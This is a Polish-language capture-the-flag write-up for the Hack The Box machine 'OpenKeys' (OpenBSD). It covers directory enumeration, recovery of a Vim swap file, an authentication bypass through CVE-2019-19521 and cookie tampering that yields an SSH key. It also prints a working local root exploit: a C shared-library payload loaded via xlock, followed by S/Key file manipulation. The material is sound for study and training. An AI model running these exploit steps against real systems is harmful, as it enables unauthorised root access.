Nmap
nmap -sC -sV -p- -T4 10.10.10.199
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
| 3072 5e:ff:81:e9:1f:9b:f8:9a:25:df:5d:82:1a:dd:7a:81 (RSA)
| 256 64:7a:5a:52:85:c5:6d:d5:4a:6b:a7:1a:9a:8a:b9:bb (ECDSA)
|_ 256 12:35:4b:6e:23:09:dc:ea:00:8c:72:20:c7:50:32:f3 (ED25519)
80/tcp open http syn-ack ttl 63 OpenBSD httpd
|_http-title: Site doesn't have a title (text/html).
User
Strona internetowa to formularz logowania. Po kilku próbach ominięcia logowania nic nie weszło. Następnie próbujemy przeszukać katalogi.

gobuster dir -t 5 -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://10.10.10.199
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.199
[+] Threads: 5
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/08/25 11:33:18 Starting gobuster
===============================================================
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/includes (Status: 301)
/js (Status: 301)
/vendor (Status: 301)
===============================================================
2020/08/25 11:38:29 Finished
===============================================================
Po przejrzeniu dostępnych katalogów znajdujemy ciekawe pliki w /includes o nazwie auth.php.swp
Pobieramy go
wget http://10.10.10.199/includes/auth.php.swp
Plik jest mało czytelny, ale z pomocą przychodzi nam VIM i przełącznik -r, który przywraca załamaną sesję.
vim -r auth.php.swp
Przy okazji widzimy użytkownika, ścieżkę i nazwę docelową pliku z poprzedniej sesji
file auth.php.swp
auth.php.swp: Vim swap file, version 8.1, pid 49850, user jennifer, host openkeys.htb, file /var/www/htdocs/includes/auth.php
W kodzie też widzimy fragment, który odpowiada za uwierzytelnienie.
function authenticate($username, $password)
{
$cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);
system($cmd, $retcode);
return $retcode;
}
Po odwołaniu się do http://10.10.10.199/auth_helpers/check_auth możemy pobrać plik binarny.
Niestety Ghidra nic ciekawego nie pokazała.
Po, krótkim googlowaniu okazuje się, że jest CVE-2019-19521 opisane na wielu stronach, które pomoże nam w zalogowaniu się do serwera.


Widzimy, że strona chce nam wyświetlić klucz ssh dla użytkownika, ale nie ma takiego użytkownika jak -schallenge. Musimy coś zmienić żeby do serwera doszła informacja, że chcemy przedstawić się jako (prawdopodobnie) jennifer
Przekierowujemy ruch do burpa i próbujemy różnych kombinacji. Niestety odpowiedzi serwera nie bardzo nam się podobają, ponieważ po wysłaniu zapytania POST podczas logowania wysyłane jest kolejne zapytanie GET do /sshkey.php dlatego repeater nam nie pomoże.
Najlepiej łapać i modyfikować zapytania w locie poprzez intercept
Tym sposobem po wielu próbach i błędach dochodzimy do tego, że możemy zmodyfikować parametr Cookie i tym samym otrzymać jej klucz SSH … Zadanie trochę CTF’owe i mało realne dlatego sporo trzeba się było nagimnastykować żeby do tego dojść.


chmod 600 id_rsa
ssh -i id_rsa jennifer@10.10.10.199
The authenticity of host '10.10.10.199 (10.10.10.199)' can't be established.
ECDSA key fingerprint is SHA256:gzhq4BokiWZ1NNWrblA8w3hLOhlhoRy+NFyi2smBZOA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.199' (ECDSA) to the list of known hosts.
Last login: Tue Aug 25 11:14:25 2020 from 10.10.14.82
OpenBSD 6.6 (GENERIC) #353: Sat Oct 12 10:45:56 MDT 2019
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
openkeys$
openkeys$ cat user.txt
36ab21239a1***de90626891d2b10
Root
Co do ekalacji to w znalezionych wcześniej artykułach są też CVE, które umożliwają nam podniesienie uprawnień i można to zrobić ręcznie wpisując kolejno komendy poniżej.
cat > swrast_dri.c << "EOF"
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>
static void __attribute__ ((constructor)) _init (void) {
gid_t rgid, egid, sgid;
if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);
char * const argv[] = { _PATH_KSHELL, NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);
}
EOF
gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c
env -i /usr/X11R6/bin/Xvfb :66 -cc 0 &
env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66
echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root
chmod 0600 /etc/skey/root
env -i TERM=vt220 su -l -a skey
S/Key Password: EGG LARD GROW HOG DRAG LAIN <-- Hasło trzeba podać ręcznie.
EGG LARD GROW HOG DRAG LAIN
openkeys# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
openkeys# cat root.txt
f3a553b16970***e7c02dbfc6efa